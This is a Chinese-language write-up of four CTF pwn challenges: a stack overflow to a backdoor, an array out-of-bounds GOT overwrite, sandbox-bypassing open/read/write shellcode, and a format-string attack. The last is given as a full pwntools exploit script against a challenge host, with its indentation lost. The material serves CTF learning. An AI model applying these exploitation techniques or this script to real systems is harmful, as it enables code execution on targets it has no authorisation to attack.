PWN

Checkin

Ida打开发现需要输入三个变量满足一个简单的等式,没什么限制随意构造即可

img

进入vul函数,发现存在栈溢出,偏移为10h,

img

还找到了后门函数,

img

坑(关键点): 注意输入数字要用str()包裹,以前做题不常遇到(还是题做少了),这次比赛被这个点坑了一个小时,哭了

EXP:

img

Arry

题目有很多提示:数组越界、got表、可以向下越界也能向上越界(我太菜了,这么多提示还做了半天)

打开ida,发现程序可以通过数组越界查看任意地址里的值并更改它,并且程序已经存在system(“/bin/sh”)

img

img

因为程序开了aslr保护(最后三位不变),所以我们要先泄露程序代码段的基址,然后再将printf的got表覆盖成后门函数的地址,

img

在gdb中调试发现bss段中arry离got段很近,直接地址相减得到负数的偏移,然后获得stack_chk_fail函数的地址,然后用0xFFFFFFFFF000与得到的地址相与得到代码段基址,然后用基址加上偏移计算得到后门函数地址,再利用一次数组越界将printf的got表覆盖成后门函数地址

坑(关键点)1: 这题因为有alsr不能直接bp+绝对地址下断点,导致我在脚本里不会调试盯着报错看了2个小时,后面发现是以前的知识点被我忘了——利用bp $rebase(偏移地址)下断点,只要程序没有反调试都能在本地调试!!!

坑(关键点)2: 第一次利用数组越界来获得代码段基址,我是选择泄露system函数的got表值,不知道为什么change时我填入的是获取到的它的原始值,但是调试的时候发现程序中的system got表值被更改了,这个坑加上前面我不会调试的坑让我一直不知道为什么打不出来,干瞪着电脑屏幕发呆。

Exp:

img

Shellcode

ida打开发现这道题是让我们输入一段shellcode,然后程序会运行它,但是这里存在**sandbox()函数,他会进行过滤,这道题的提示里面说execve()**被ban了,让我们尝试直接读取flag.txt

image-20211115180126969

一开始我没啥思路,后来了解到这是一类题型——ORW类题

ORW 类题目是指程序开了沙箱保护,禁用了一些函数的调用(如 execve 等),使得我们并不能正常 get shell ,只能通过 ROP 的方式先调用 open 打开 flag 文件,然后利用 read 把 flag 的值读取到内存里面, 最后通过 write 来读取并打印 flag 内容。

所以我们需要一个依次调用**open()read()write()的shellcode,先用open()打开文件flag.txt 然后通过read()读取文件内容到 栈上 最后利用write()**将其输出到屏幕上。

EXP:

image-20211115181334804

关键点: 利用pwntools自带的功能生成我们想要的shellcode,先选择架构

context(os = "linux", arch = "amd64")

然后再生成shellcode,

shellcraft.fuction(arg1,arg2,arg3...)

这个命令能帮我们生成一个调用函数fuction(arg1,arg2,arg3…)的汇编代码,

asm(shellcode)

最后再用**asm()**包裹 shellcode的汇编代码,生成字节码,一个shellcode就完成啦!

logging

最近没时间写思路,之后再补,先放个exp,

EXP:

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'

p = remote("172.16.68.4", 10005)
#p = process("./log1")
#gdb.attach(p,"b *$rebase(0x9cd)")

def leak(payload):
p.recvuntil("RUSH B~\n")
p.send(payload.ljust(32,'a'))
leakaddr = int(p.recvuntil("aaaaaaaaaaaaaaaaaaaaaaa")[9:-23],16)
return leakaddr

def cover(num, save_ret, step): #写入的数字、栈保存返回地址的位置、覆盖的字节数
print("need print num:" + hex(num))
a_num = 16 -(6 + (4 - step) + len(str(num)))
p.recvuntil("RUSH B~\n")
if step == 1:
p.send(('%'+ str(num) + 'c%20$hhn' + "a" * a_num + p64(save_ret)).ljust(32,'a'))
elif step == 2:
p.send(('%'+ str(num) + 'c%20$hn' + "a" * a_num + p64(save_ret)).ljust(32,'a'))
log.success('set ret success!')

#leak libc func ->libc_base->one_gadget
main_ret = leak('AAAA%27$p')
libc_main_addr = main_ret - 240
print("libc_main:" + hex(libc_main_addr))
'''
_dl_init = leak('AAAA%45$p')
print("_dl_init:" + hex(_dl_init_addr))
'''
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_base = libc_main_addr - libc.symbols['__libc_start_main']
log.success("libc_base:" + hex(libc_base))
'''
sys_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + libc.search("/bin/sh").next()
log.success('sys_addr:' + hex(sys_addr))
log.success('binsh_addr:' + hex(binsh_addr))
'''
one_gadget = 0xf1247
one_addr = libc_base + one_gadget
log.success('one_addr:' + hex(one_addr))

#leak rbp(stack_addr) -> save_ret_addr
rbp = leak('AAAA%16$p')
save_logging_ret = rbp - 0x48
save_main_ret = rbp + 0x8
log.success('save_logging_ret:' + hex(save_logging_ret))
log.success('save_main_ret:' + hex(save_main_ret))

#leak ret_addr -> calculate num
logging_ret = leak('AAAA%17$p')
code_base = logging_ret & 0xfffffffff000
leave_addr = 0x9E7 + code_base
log.success("logging_ret:" + hex(logging_ret))
log.success("leave_addr" + hex(leave_addr))

#set main_ret = one_gadget
num = int(hex(one_addr & 0xff0000)[:-4],16) - 3
cover(num, save_main_ret + 2, 1)
num = (one_addr & 0xffff) - 3
cover(num, save_main_ret, 2)

#set logging_ret = leave --> ret to main_ret
num = (leave_addr & 0xffff) - 3
cover(num, save_logging_ret, 2)

p.interactive()

总结

只有打了比赛才知道自己有多菜,每做一道简单题都会被不同的问题所困扰,都会在细节的地方出错,做出来后发现就两三行的代码自己还搞不定的时候真的很懊恼,看出来自己的基础很薄弱,所以在接下来的时间里要更加努力,把基础打扎实来!